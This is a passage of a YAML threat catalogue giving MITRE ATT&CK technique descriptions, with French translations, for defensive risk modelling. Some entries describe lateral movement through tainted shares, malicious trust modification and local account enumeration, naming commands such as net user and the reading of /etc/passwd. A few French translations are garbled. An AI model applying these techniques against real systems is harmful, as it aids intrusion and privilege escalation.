          \ via un tableur Windows. (Citation : Injection de CSV OWASP)(Citation\_\
          : Injection de macro CSV Excel )\n\nDDE pourrait \xE9galement \xEAtre exploit\xE9\
          \ par un adversaire op\xE9rant sur une machine compromise qui n\u2019a pas\
          \ d\u2019acc\xE8s direct \xE0 un [interpr\xE9teur de commandes et de scripts](https://attack.mitre.org/techniques/T1059).\
          \ L\u2019ex\xE9cution DDE peut \xEAtre appel\xE9e \xE0 distance via [Remote\
          \ Services](https://attack.mitre.org/techniques/T1021) tels que [Distributed\
          \ Component Object Model](https://attack.mitre.org/techniques/T1021/003)\
          \ (DCOM). (R\xE9f\xE9rence : Fireeye Hunting COM juin 2019)\nhttps://attack.mitre.org/techniques/T1559/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1204.002
    ref_id: T1204.002
    name: Malicious File
    description: "An adversary may rely upon a user opening a malicious file in order\
      \ to gain execution. Users may be subjected to social engineering to get them\
      \ to open a file that will lead to code execution. This user action will typically\
      \ be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).\
      \ Adversaries may use several types of files that require a user to execute\
      \ them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, and\
      \ .reg.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036)\
      \ and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027)\
      \ to increase the likelihood that a user will open and successfully execute\
      \ a malicious file. These methods may include using a familiar naming convention\
      \ and/or password protecting the file and supplying instructions to a user on\
      \ how to open it.(Citation: Password Protected Word Docs) \n\nWhile [Malicious\
      \ File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly\
      \ after Initial Access it may occur at other phases of an intrusion, such as\
      \ when an adversary places a file in a shared directory or on a user's desktop\
      \ hoping that a user will click on it. This activity may also be seen shortly\
      \ after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\n\
      https://attack.mitre.org/techniques/T1204/002"
    translations:
      fr:
        name: Fichier malveillant
        description: "Un adversaire peut s\u2019appuyer sur l\u2019ouverture d\u2019\
          un fichier malveillant par un utilisateur afin d\u2019obtenir l\u2019ex\xE9\
          cution. Les utilisateurs peuvent \xEAtre soumis \xE0 l\u2019ing\xE9nierie\
          \ sociale pour les amener \xE0 ouvrir un fichier qui conduira \xE0 l\u2019\
          ex\xE9cution de code. Cette action de l\u2019utilisateur est g\xE9n\xE9\
          ralement observ\xE9e comme un comportement de suivi de [Pi\xE8ce jointe\
          \ de spearphishing](https://attack.mitre.org/techniques/T1566/001). Les\
          \ adversaires peuvent utiliser plusieurs types de fichiers qui n\xE9cessitent\
          \ l\u2019ex\xE9cution d\u2019un utilisateur, notamment .doc, .pdf, .xls,\
          \ .rtf, .scr, .exe, .lnk, .pif, .cpl, etc. .reg.\n\nLes adversaires peuvent\
          \ utiliser diverses formes de [Mascarade](https://attack.mitre.org/techniques/T1036)\
          \ et de [Fichiers ou informations obscurcis](https://attack.mitre.org/techniques/T1027)\
          \ pour augmenter la probabilit\xE9 qu\u2019un utilisateur ouvre et ex\xE9\
          cute avec succ\xE8s un fichier malveillant. Ces m\xE9thodes peuvent inclure\
          \ l\u2019utilisation d\u2019une convention de nommage famili\xE8re et/ou\
          \ d\u2019un mot de passe prot\xE9geant le fichier et la fourniture d\u2019\
          instructions \xE0 un utilisateur sur la fa\xE7on de l\u2019ouvrir. (Citation\_\
          : Documents Word prot\xE9g\xE9s par mot de passe) \n\nBien que [Fichier\
          \ malveillant](https://attack.mitre.org/techniques/T1204/002) se produise\
          \ fr\xE9quemment peu de temps apr\xE8s l\u2019acc\xE8s initial, il peut\
          \ se produire \xE0 d\u2019autres phases d\u2019une intrusion, par exemple\
          \ lorsqu\u2019un adversaire place un fichier dans un r\xE9pertoire partag\xE9\
          \ ou sur le bureau d\u2019un utilisateur en esp\xE9rant qu\u2019un utilisateur\
          \ cliquera dessus. Cette activit\xE9 peut \xE9galement \xEAtre observ\xE9\
          e peu de temps apr\xE8s [Spearphishing interne](https://attack.mitre.org/techniques/T1534).\n\
          https://attack.mitre.org/techniques/T1204/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1591.003
    ref_id: T1591.003
    name: Identify Business Tempo
    description: "Adversaries may gather information about the victim's business tempo\
      \ that can be used during targeting. Information about an organization\u2019\
      s business tempo may include a variety of details, including operational hours/days\
      \ of the week. This information may also reveal times/dates of purchases and\
      \ shipments of the victim\u2019s hardware and software resources.\n\nAdversaries\
      \ may gather this information in various ways, such as direct elicitation via\
      \ [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information\
      \ about business tempo may also be exposed to adversaries via online or other\
      \ accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001)\
      \ or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation:\
      \ ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities\
      \ for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)\
      \ or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)),\
      \ establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585)\
      \ or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or\
      \ initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195)\
      \ or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))\nhttps://attack.mitre.org/techniques/T1591/003"
    translations:
      fr:
        name: "Identifier le tempo de l\u2019entreprise"
        description: "Les adversaires peuvent recueillir des informations sur le rythme\
          \ des affaires de la victime qui peuvent \xEAtre utilis\xE9es lors du ciblage.\
          \ Les informations sur le rythme des activit\xE9s d\u2019une organisation\
          \ peuvent inclure une vari\xE9t\xE9 de d\xE9tails, y compris les heures\
          \ d\u2019ouverture et les jours de la semaine. Ces informations peuvent\
          \ \xE9galement r\xE9v\xE9ler les heures et dates des achats et des exp\xE9\
          ditions des ressources mat\xE9rielles et logicielles de la victime.\n\n\
          Les adversaires peuvent recueillir ces informations de diff\xE9rentes mani\xE8\
          res, par exemple par le biais de l\u2019hame\xE7onnage par le biais de [Phishing\
          \ for Information](https://attack.mitre.org/techniques/T1598). Des informations\
          \ sur le rythme des affaires peuvent \xE9galement \xEAtre expos\xE9es \xE0\
          \ des adversaires via des ensembles de donn\xE9es en ligne ou d\u2019autres\
          \ ensembles de donn\xE9es accessibles (ex : [M\xE9dias sociaux](https://attack.mitre.org/techniques/T1593/001)\
          \ ou [Sites Web appartenant \xE0 des victimes de recherche](https://attack.mitre.org/techniques/T1594)).\
          \ (Citation : Fuite ThreatPost Broadvoice) La collecte de ces informations\
          \ peut r\xE9v\xE9ler des opportunit\xE9s pour d\u2019autres formes de reconnaissance\
          \ (ex : [Phishing pour obtenir des informations](https://attack.mitre.org/techniques/T1598)\
          \ ou [Recherche de sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)),\
          \ d\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [\xC9tablir\
          \ des comptes](https://attack.mitre.org/techniques/T1585) ou [Compromettre\
          \ des comptes](https://attack.mitre.org/techniques/T1586)), et/ou d\u2019\
          acc\xE8s initial (ex : [Cha\xEEne d\u2019approvisionnement Compromis](https://attack.mitre.org/techniques/T1195)\
          \ ou [Relation de confiance](https://attack.mitre.org/techniques/T1199))\n\
          https://attack.mitre.org/techniques/T1591/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1071.005
    ref_id: T1071.005
    name: Publish/Subscribe Protocols
    description: "Adversaries may communicate using publish/subscribe (pub/sub) application\
      \ layer protocols to avoid detection/network filtering by blending in with existing\
      \ traffic. Commands to the remote system, and often the results of those commands,\
      \ will be embedded within the protocol traffic between the client and server.\
      \ \n\nProtocols such as <code>MQTT</code>, <code>XMPP</code>, <code>AMQP</code>,\
      \ and <code>STOMP</code> use a publish/subscribe design, with message distribution\
      \ managed by a centralized broker.(Citation: wailing crab sub/pub)(Citation:\
      \ Mandiant APT1 Appendix) Publishers categorize their messages by topics, while\
      \ subscribers receive messages according to their subscribed topics.(Citation:\
      \ wailing crab sub/pub) An adversary may abuse publish/subscribe protocols to\
      \ communicate with systems under their control from behind a message broker\
      \ while also mimicking normal, expected traffic.\nhttps://attack.mitre.org/techniques/T1071/005"
    translations:
      fr:
        name: Protocoles de publication/abonnement
        description: "Les adversaires peuvent communiquer \xE0 l\u2019aide des protocoles\
          \ de couche applicative publish/subscribe (pub/sub) pour \xE9viter la d\xE9\
          tection/le filtrage du r\xE9seau en se fondant dans le trafic existant.\
          \ Les commandes adress\xE9es au syst\xE8me distant, et souvent les r\xE9\
          sultats de ces commandes, seront incorpor\xE9s dans le trafic de protocole\
          \ entre le client et le serveur. \n\nLes protocoles tels que <code>MQTT,</code>\
          \ <code>XMPP,</code> <code>AMQP</code> et <code>STOMP</code> utilisent une\
          \ conception de publication/abonnement, la distribution des messages \xE9\
          tant g\xE9r\xE9e par un courtier centralis\xE9. (Citation : crabe g\xE9\
          missant sub/pub)(Citation : Mandiant APT1 Annexe) Les \xE9diteurs classent\
          \ leurs messages par th\xE8mes, tandis que les abonn\xE9s re\xE7oivent des\
          \ messages en fonction des sujets auxquels ils sont abonn\xE9s. (Citation\
          \ : crabe g\xE9missant sub/pub) Un adversaire peut abuser des protocoles\
          \ de publication/abonnement pour communiquer avec les syst\xE8mes sous son\
          \ contr\xF4le derri\xE8re un courtier de messages tout en imitant le trafic\
          \ normal et attendu.\nhttps://attack.mitre.org/techniques/T1071/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1592.001
    ref_id: T1592.001
    name: Hardware
    description: 'Adversaries may gather information about the victim''s host hardware
      that can be used during targeting. Information about hardware infrastructure
      may include a variety of details such as types and versions on specific hosts,
      as well as the presence of additional components that might be indicative of
      added defensive protections (ex: card/biometric readers, dedicated encryption
      hardware, etc.).


      Adversaries may gather this information in various ways, such as direct collection
      actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex:
      hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).
      Adversaries may also compromise sites then include malicious content designed
      to collect host information from visitors.(Citation: ATT ScanBox) Information
      about the hardware infrastructure may also be exposed to adversaries via online
      or other accessible data sets (ex: job postings, network maps, assessment reports,
      resumes, or purchase invoices). Gathering this information may reveal opportunities
      for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)
      or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)),
      establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587)
      or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or
      initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003)
      or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).

      https://attack.mitre.org/techniques/T1592/001'
    translations:
      fr:
        name: "Mat\xE9riel"
        description: "Les adversaires peuvent recueillir des informations sur le mat\xE9\
          riel h\xF4te de la victime qui peuvent \xEAtre utilis\xE9es lors du ciblage.\
          \ Les informations sur l\u2019infrastructure mat\xE9rielle peuvent inclure\
          \ une vari\xE9t\xE9 de d\xE9tails tels que les types et les versions sur\
          \ des h\xF4tes sp\xE9cifiques, ainsi que la pr\xE9sence de composants suppl\xE9\
          mentaires qui pourraient indiquer des protections d\xE9fensives suppl\xE9\
          mentaires (par exemple, lecteurs de cartes/biom\xE9triques, mat\xE9riel\
          \ de cryptage d\xE9di\xE9, etc.).\n\nLes adversaires peuvent collecter ces\
          \ informations de diff\xE9rentes mani\xE8res, par exemple par le biais d\u2019\
          actions de collecte directes via [Analyse active](https://attack.mitre.org/techniques/T1595)\
          \ (par exemple : noms d\u2019h\xF4te, banni\xE8res de serveur, cha\xEEnes\
          \ d\u2019agent utilisateur) ou [Hame\xE7onnage pour obtenir des informations](https://attack.mitre.org/techniques/T1598).\
          \ Les adversaires peuvent \xE9galement compromettre les sites et inclure\
          \ du contenu malveillant con\xE7u pour collecter des informations sur l\u2019\
          h\xF4te aupr\xE8s des visiteurs. (Citation : ATT ScanBox) Les informations\
          \ sur l\u2019infrastructure mat\xE9rielle peuvent \xE9galement \xEAtre expos\xE9\
          es \xE0 des adversaires via des ensembles de donn\xE9es en ligne ou d\u2019\
          autres ensembles de donn\xE9es accessibles (par exemple, des offres d\u2019\
          emploi, des cartes de r\xE9seau, des rapports d\u2019\xE9valuation, des\
          \ CV ou des factures d\u2019achat). La collecte de ces informations peut\
          \ r\xE9v\xE9ler des opportunit\xE9s pour d\u2019autres formes de reconnaissance\
          \ (ex : [Rechercher des sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)\
          \ ou [Rechercher des bases de donn\xE9es techniques ouvertes](https://attack.mitre.org/techniques/T1596)),\
          \ l\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [D\xE9\
          velopper des capacit\xE9s](https://attack.mitre.org/techniques/T1587) ou\
          \ [Obtenir des capacit\xE9s](https://attack.mitre.org/techniques/T1588)),\
          \ et/ou un acc\xE8s initial (ex : [Compromettre l\u2019approvisionnement\
          \ en mat\xE9riel cha\xEEne](https://attack.mitre.org/techniques/T1195/003)\
          \ ou [Ajouts mat\xE9riels](https://attack.mitre.org/techniques/T1200)).\n\
          https://attack.mitre.org/techniques/T1592/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1080
    ref_id: T1080
    name: Taint Shared Content
    description: 'Adversaries may deliver payloads to remote systems by adding content
      to shared storage locations, such as network drives or internal code repositories.
      Content stored on network drives or in other shared locations may be tainted
      by adding malicious programs, scripts, or exploit code to otherwise valid files.
      Once a user opens the shared tainted content, the malicious portion can be executed
      to run the adversary''s code on a remote system. Adversaries may use tainted
      shared content to move laterally.


      A directory share pivot is a variation on this technique that uses several other
      techniques to propagate malware when users access a shared network directory.
      It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009)
      of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036)
      to look like the real directories, which are hidden through [Hidden Files and
      Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based
      directories have an embedded command that executes the hidden malware file in
      the directory and then opens the real intended directory so that the user''s
      expected action still occurs. When used with frequently used network directories,
      the technique may result in frequent reinfections and broad access to systems
      and potentially to new and higher privileged accounts. (Citation: Retwin Directory
      Share Pivot)


      Adversaries may also compromise shared network directories through binary infections
      by appending or prepending its code to the healthy binary on the shared network
      directory. The malware may modify the original entry point (OEP) of the healthy
      binary to ensure that it is executed before the legitimate code. The infection
      could continue to spread via the newly infected file when it is executed by
      a remote system. These infections may target both binary and non-binary formats
      that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT,
      and/or .VBS.

      https://attack.mitre.org/techniques/T1080'
    translations:
      fr:
        name: "Entacher le contenu partag\xE9"
        description: "Les adversaires peuvent fournir des charges utiles \xE0 des\
          \ syst\xE8mes distants en ajoutant du contenu \xE0 des emplacements de stockage\
          \ partag\xE9s, tels que des lecteurs r\xE9seau ou des r\xE9f\xE9rentiels\
          \ de code internes. Le contenu stock\xE9 sur des lecteurs r\xE9seau ou dans\
          \ d\u2019autres emplacements partag\xE9s peut \xEAtre alt\xE9r\xE9 par l\u2019\
          ajout de programmes malveillants, de scripts ou de code d\u2019exploitation\
          \ \xE0 des fichiers par ailleurs valides. Une fois qu\u2019un utilisateur\
          \ ouvre le contenu contamin\xE9 partag\xE9, la partie malveillante peut\
          \ \xEAtre ex\xE9cut\xE9e pour ex\xE9cuter le code de l\u2019adversaire sur\
          \ un syst\xE8me distant. Les adversaires peuvent utiliser du contenu partag\xE9\
          \ contamin\xE9 pour se d\xE9placer lat\xE9ralement.\n\nUn pivot de partage\
          \ de r\xE9pertoire est une variante de cette technique qui utilise plusieurs\
          \ autres techniques pour propager des logiciels malveillants lorsque les\
          \ utilisateurs acc\xE8dent \xE0 un r\xE9pertoire r\xE9seau partag\xE9. Il\
          \ utilise [Modification de raccourci](https://attack.mitre.org/techniques/T1547/009)\
          \ du r\xE9pertoire . Les fichiers LNK qui utilisent [Masquerading](https://attack.mitre.org/techniques/T1036)\
          \ pour ressembler aux vrais r\xE9pertoires, qui sont cach\xE9s via [Fichiers\
          \ et r\xE9pertoires cach\xE9s](https://attack.mitre.org/techniques/T1564/001).\
          \ Le malveillant . Les r\xE9pertoires bas\xE9s sur LNK ont une commande\
          \ int\xE9gr\xE9e qui ex\xE9cute le fichier malveillant cach\xE9 dans le\
          \ r\xE9pertoire, puis ouvre le r\xE9pertoire r\xE9el pr\xE9vu afin que l\u2019\
          action attendue de l\u2019utilisateur se produise toujours. Lorsqu\u2019\
          elle est utilis\xE9e avec des annuaires r\xE9seau fr\xE9quemment utilis\xE9\
          s, cette technique peut entra\xEEner des r\xE9infections fr\xE9quentes et\
          \ un acc\xE8s \xE9tendu aux syst\xE8mes et potentiellement \xE0 de nouveaux\
          \ comptes \xE0 privil\xE8ges plus \xE9lev\xE9s. (Citation : Retwin Directory\
          \ Share Pivot)\n\nLes adversaires peuvent \xE9galement compromettre les\
          \ r\xE9pertoires de r\xE9seau partag\xE9s par le biais d\u2019infections\
          \ binaires en ajoutant ou en ajoutant son code au code binaire sain sur\
          \ le r\xE9pertoire de r\xE9seau partag\xE9. Le logiciel malveillant peut\
          \ modifier le point d\u2019entr\xE9e d\u2019origine (OEP) du binaire sain\
          \ pour s\u2019assurer qu\u2019il est ex\xE9cut\xE9 avant le code l\xE9gitime.\
          \ L\u2019infection peut continuer \xE0 se propager via le fichier nouvellement\
          \ infect\xE9 lorsqu\u2019elle est ex\xE9cut\xE9e par un syst\xE8me distant.\
          \ Ces infections peuvent cibler \xE0 la fois des formats binaires et non\
          \ binaires qui se terminent par des extensions incluant, mais sans s\u2019\
          y limiter, .EXE, .DLL, . SCR, .BAT et/ou .VBS.\nhttps://attack.mitre.org/techniques/T1080"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1484.002
    ref_id: T1484.002
    name: Trust Modification
    description: "Adversaries may add new domain trusts, modify the properties of\
      \ existing domain trusts, or otherwise change the configuration of trust relationships\
      \ between domains and tenants to evade defenses and/or elevate privileges.Trust\
      \ details, such as whether or not user identities are federated, allow authentication\
      \ and authorization properties to apply between domains or tenants for the purpose\
      \ of accessing shared resources.(Citation: Microsoft - Azure AD Federation)\
      \ These trust objects may include accounts, credentials, and other authentication\
      \ material applied to servers, tokens, and domains.\n\nManipulating these trusts\
      \ may allow an adversary to escalate privileges and/or evade defenses by modifying\
      \ settings to add objects which they control. For example, in Microsoft Active\
      \ Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002)\
      \ without the need to compromise the signing certificate to forge new credentials.\
      \ Instead, an adversary can manipulate domain trusts to add their own signing\
      \ certificate. An adversary may also convert an AD domain to a federated domain\
      \ using Active Directory Federation Services (AD FS), which may enable malicious\
      \ trust modifications such as altering the claim issuance rules to log in any\
      \ valid set of credentials as a specified user.(Citation: AADInternals zure\
      \ AD Federated Domain) \n\nAn adversary may also add a new federated identity\
      \ provider to an identity tenant such as Okta or AWS IAM Identity Center, which\
      \ may enable the adversary to authenticate as any user of the tenant.(Citation:\
      \ Okta Cross-Tenant Impersonation 2023) This may enable the threat actor to\
      \ gain broad access into a variety of cloud-based services that leverage the\
      \ identity tenant. For example, in AWS environments, an adversary that creates\
      \ a new identity provider for an AWS Organization will be able to federate into\
      \ all of the AWS Organization member accounts without creating identities for\
      \ each of the member accounts.(Citation: AWS RE:Inforce Threat Detection 2024)\n\
      https://attack.mitre.org/techniques/T1484/002"
    translations:
      fr:
        name: Modification de la fiducie
        description: "Les adversaires peuvent ajouter de nouvelles approbations de\
          \ domaine, modifier les propri\xE9t\xE9s des approbations de domaine existantes\
          \ ou modifier la configuration des relations d\u2019approbation entre les\
          \ domaines et les locataires pour contourner les d\xE9fenses et/ou \xE9\
          lever les privil\xE8ges. Les d\xE9tails de confiance, tels que le fait que\
          \ les identit\xE9s des utilisateurs sont f\xE9d\xE9r\xE9es ou non, permettent\
          \ aux propri\xE9t\xE9s d\u2019authentification et d\u2019autorisation de\
          \ s\u2019appliquer entre les domaines ou les locataires dans le but d\u2019\
          acc\xE9der aux ressources partag\xE9es. (Citation : Microsoft - F\xE9d\xE9\
          ration Azure AD) Ces objets d\u2019approbation peuvent inclure des comptes,\
          \ des informations d\u2019identification et d\u2019autres \xE9l\xE9ments\
          \ d\u2019authentification appliqu\xE9s \xE0 des serveurs, des jetons et\
          \ des domaines.\n\nLa manipulation de ces approbations peut permettre \xE0\
          \ un adversaire d\u2019augmenter ses privil\xE8ges et/ou d\u2019\xE9chapper\
          \ aux d\xE9fenses en modifiant les param\xE8tres pour ajouter des objets\
          \ qu\u2019il contr\xF4le. Par exemple, dans les environnements Microsoft\
          \ Active Directory (AD), cela peut \xEAtre utilis\xE9 pour falsifier des\
          \ [jetons SAML](https://attack.mitre.org/techniques/T1606/002) sans qu\u2019\
          il soit n\xE9cessaire de compromettre le certificat de signature pour falsifier\
          \ de nouvelles informations d\u2019identification. Au lieu de cela, un adversaire\
          \ peut manipuler les approbations de domaine pour ajouter son propre certificat\
          \ de signature. Un adversaire peut \xE9galement convertir un domaine AD\
          \ en domaine f\xE9d\xE9r\xE9 \xE0 l\u2019aide des services de f\xE9d\xE9\
          ration Active Directory (AD FS), ce qui peut permettre des modifications\
          \ malveillantes de l\u2019approbation, telles que la modification des r\xE8\
          gles d\u2019\xE9mission de revendications pour se connecter \xE0 n\u2019\
          importe quel ensemble valide d\u2019informations d\u2019identification en\
          \ tant qu\u2019utilisateur sp\xE9cifi\xE9. (Citation : AADInternals zure\
          \ AD Federated Domain) \n\nUn adversaire peut \xE9galement ajouter un nouveau\
          \ fournisseur d\u2019identit\xE9 f\xE9d\xE9r\xE9e \xE0 un locataire d\u2019\
          identit\xE9 tel qu\u2019Okta ou AWS IAM Identity Center, ce qui peut lui\
          \ permettre de s\u2019authentifier en tant qu\u2019utilisateur du locataire.\
          \ (R\xE9f\xE9rence : Okta Cross-Tenant Impersonation 2023) Cela peut permettre\
          \ \xE0 l\u2019acteur malveillant d\u2019obtenir un large acc\xE8s \xE0 une\
          \ vari\xE9t\xE9 de services bas\xE9s sur le cloud qui exploitent le locataire\
          \ d\u2019identit\xE9. Par exemple, dans les environnements AWS, un adversaire\
          \ qui cr\xE9e un nouveau fournisseur d\u2019identit\xE9 pour une organisation\
          \ AWS pourra f\xE9d\xE9rer tous les comptes membres de l\u2019organisation\
          \ AWS sans cr\xE9er d\u2019identit\xE9s pour chacun des comptes membres.\
          \ (R\xE9f\xE9rence : AWS RE\_:Inforce Threat Detection 2024)\nhttps://attack.mitre.org/techniques/T1484/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1573.001
    ref_id: T1573.001
    name: Symmetric Cryptography
    description: 'Adversaries may employ a known symmetric encryption algorithm to
      conceal command and control traffic rather than relying on any inherent protections
      provided by a communication protocol. Symmetric encryption algorithms use the
      same key for plaintext encryption and ciphertext decryption. Common symmetric
      encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.

      https://attack.mitre.org/techniques/T1573/001'
    translations:
      fr:
        name: "Cryptographie sym\xE9trique"
        description: "Les adversaires peuvent utiliser un algorithme de chiffrement\
          \ sym\xE9trique connu pour dissimuler le trafic de commande et de contr\xF4\
          le plut\xF4t que de s\u2019appuyer sur les protections inh\xE9rentes fournies\
          \ par un protocole de communication. Les algorithmes de chiffrement sym\xE9\
          trique utilisent la m\xEAme cl\xE9 pour le chiffrement en clair et le d\xE9\
          chiffrement en texte chiffr\xE9. Les algorithmes de chiffrement sym\xE9\
          trique courants incluent AES, DES, 3DES, Blowfish et RC4.\nhttps://attack.mitre.org/techniques/T1573/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1087.001
    ref_id: T1087.001
    name: Local Account
    description: 'Adversaries may attempt to get a listing of local system accounts.
      This information can help adversaries determine which local accounts exist on
      a system to aid in follow-on behavior.


      Commands such as <code>net user</code> and <code>net localgroup</code> of the
      [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and
      <code>groups</code> on macOS and Linux can list local users and groups.(Citation:
      Mandiant APT1)(Citation: id man page)(Citation: groups man page) On Linux, local
      users can also be enumerated through the use of the <code>/etc/passwd</code>
      file. On macOS the <code>dscl . list /Users</code> command can be used to enumerate
      local accounts.

      https://attack.mitre.org/techniques/T1087/001'
    translations:
      fr:
        name: Compte local
        description: "Les adversaires peuvent tenter d\u2019obtenir une liste de comptes\
          \ syst\xE8me locaux. Ces informations peuvent aider les adversaires \xE0\
          \ d\xE9terminer quels comptes locaux existent sur un syst\xE8me pour faciliter\
          \ le comportement de suivi.\n\nDes commandes telles que <code>net user</code>\
          \ et <code>net localgroup</code> de l\u2019utilitaire [Net](https://attack.mitre.org/software/S0039)\
          \ et <code>id</code> and <code>groups</code> sous macOS et Linux peuvent\
          \ r\xE9pertorier les utilisateurs et les groupes locaux. (R\xE9f\xE9rence\
          \ : Mandiant APT1)(Citation : id man page)(Citation : page de manuel du\
          \ groupe) Sous Linux, les utilisateurs locaux peuvent \xE9galement \xEA\
          tre \xE9num\xE9r\xE9s \xE0 l\u2019aide du fichier <code>/etc/passwd</code>.\
          \ Sur macOS, la commande <code>dscl . list /Users</code> peut \xEAtre utilis\xE9\
          e pour \xE9num\xE9rer les comptes locaux.\nhttps://attack.mitre.org/techniques/T1087/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1586.001
    ref_id: T1586.001
    name: Social Media Accounts
    description: "Adversaries may compromise social media accounts that can be used\
      \ during targeting. For operations incorporating social engineering, the utilization\
      \ of an online persona may be important. Rather than creating and cultivating\
      \ social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)),\
      \ adversaries may compromise existing social media accounts. Utilizing an existing\
      \ persona may engender a level of trust in a potential victim if they have a\
      \ relationship, or knowledge of, the compromised persona. \n\nA variety of methods\
      \ exist for compromising social media accounts, such as gathering credentials\
      \ via [Phishing for Information](https://attack.mitre.org/techniques/T1598),\
      \ purchasing credentials from third-party sites, or by brute forcing credentials\
      \ (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior\
      \ to compromising social media accounts, adversaries may conduct Reconnaissance\
      \ to inform decisions about which accounts to compromise to further their operation.\n\
      \nPersonas may exist on a single site or across multiple sites (ex: Facebook,\
      \ LinkedIn, Twitter, etc.). Compromised social media accounts may require additional\
      \ development, this could include filling out or modifying profile information,\
      \ further developing social networks, or incorporating photos.\n\nAdversaries\
      \ can use a compromised social media profile to create new, or hijack existing,\
      \ connections to targets of interest. These connections may be direct or may\
      \ include trying to connect through others.(Citation: NEWSCASTER2014)(Citation:\
      \ BlackHatRobinSage) Compromised profiles may be leveraged during other phases\
      \ of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing\
      \ via Service](https://attack.mitre.org/techniques/T1566/003)).\nhttps://attack.mitre.org/techniques/T1586/001"
    translations:
      fr:
        name: "Comptes de m\xE9dias sociaux"
        description: "Les adversaires peuvent compromettre les comptes de m\xE9dias\
          \ sociaux qui peuvent \xEAtre utilis\xE9s lors du ciblage. Pour les op\xE9\
          rations int\xE9grant l\u2019ing\xE9nierie sociale, l\u2019utilisation d\u2019\
          un persona en ligne peut \xEAtre importante. Plut\xF4t que de cr\xE9er et\
          \ de cultiver des profils de m\xE9dias sociaux (c\u2019est-\xE0-dire des\
          \ comptes de m\xE9dias sociaux](https://attack.mitre.org/techniques/T1585/001)),\
          \ les adversaires peuvent compromettre les comptes de m\xE9dias sociaux\
          \ existants. L\u2019utilisation d\u2019un personnage existant peut engendrer\
          \ un certain niveau de confiance chez une victime potentielle si elle a\
          \ une relation ou une connaissance du personnage compromis. \n\nIl existe\
          \ diverses m\xE9thodes pour compromettre les comptes de m\xE9dias sociaux,\
          \ telles que la collecte d\u2019informations d\u2019identification via [Phishing\
          \ for Information](https://attack.mitre.org/techniques/T1598), l\u2019achat\
          \ d\u2019informations d\u2019identification sur des sites tiers ou par force\
          \ brute d\u2019informations d\u2019identification (par exemple, la r\xE9\
          utilisation de mots de passe \xE0 partir de vidages d\u2019informations\
          \ d\u2019identification de violation). (Citation : AnonHBGary) Avant de\
          \ compromettre les comptes de m\xE9dias sociaux, les adversaires peuvent\
          \ effectuer une reconnaissance pour \xE9clairer les d\xE9cisions sur les\
          \ comptes \xE0 compromettre afin de poursuivre leurs op\xE9rations.\n\n\
          Les personas peuvent exister sur un seul site ou sur plusieurs sites (ex\
          \ : Facebook, LinkedIn, Twitter, etc.). Les comptes de m\xE9dias sociaux\
          \ compromis peuvent n\xE9cessiter un d\xE9veloppement suppl\xE9mentaire,\
          \ notamment le remplissage ou la modification des informations de profil,\
          \ le d\xE9veloppement des r\xE9seaux sociaux ou l\u2019int\xE9gration de\
          \ photos.\n\nLes adversaires peuvent utiliser un profil de r\xE9seau social\
          \ compromis pour cr\xE9er de nouvelles connexions ou d\xE9tourner des connexions\
          \ existantes avec des cibles d\u2019int\xE9r\xEAt. Ces connexions peuvent\
          \ \xEAtre directes ou inclure d\u2019essayer de se connecter par l\u2019\
          interm\xE9diaire d\u2019autres personnes. (R\xE9f\xE9rence : NEWSCASTER2014)(Citation\
          \ : BlackHatRobinSage) Les profils compromis peuvent \xEAtre exploit\xE9\
          s au cours d\u2019autres phases du cycle de vie de l\u2019adversaire, par\
          \ exemple lors de l\u2019acc\xE8s initial (ex : [Spearphishing via le Service](https://attack.mitre.org/techniques/T1566/003)).\n\
          https://attack.mitre.org/techniques/T1586/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1562.009
    ref_id: T1562.009
    name: Safe Mode Boot
    description: 'Adversaries may abuse Windows safe mode to disable endpoint defenses.
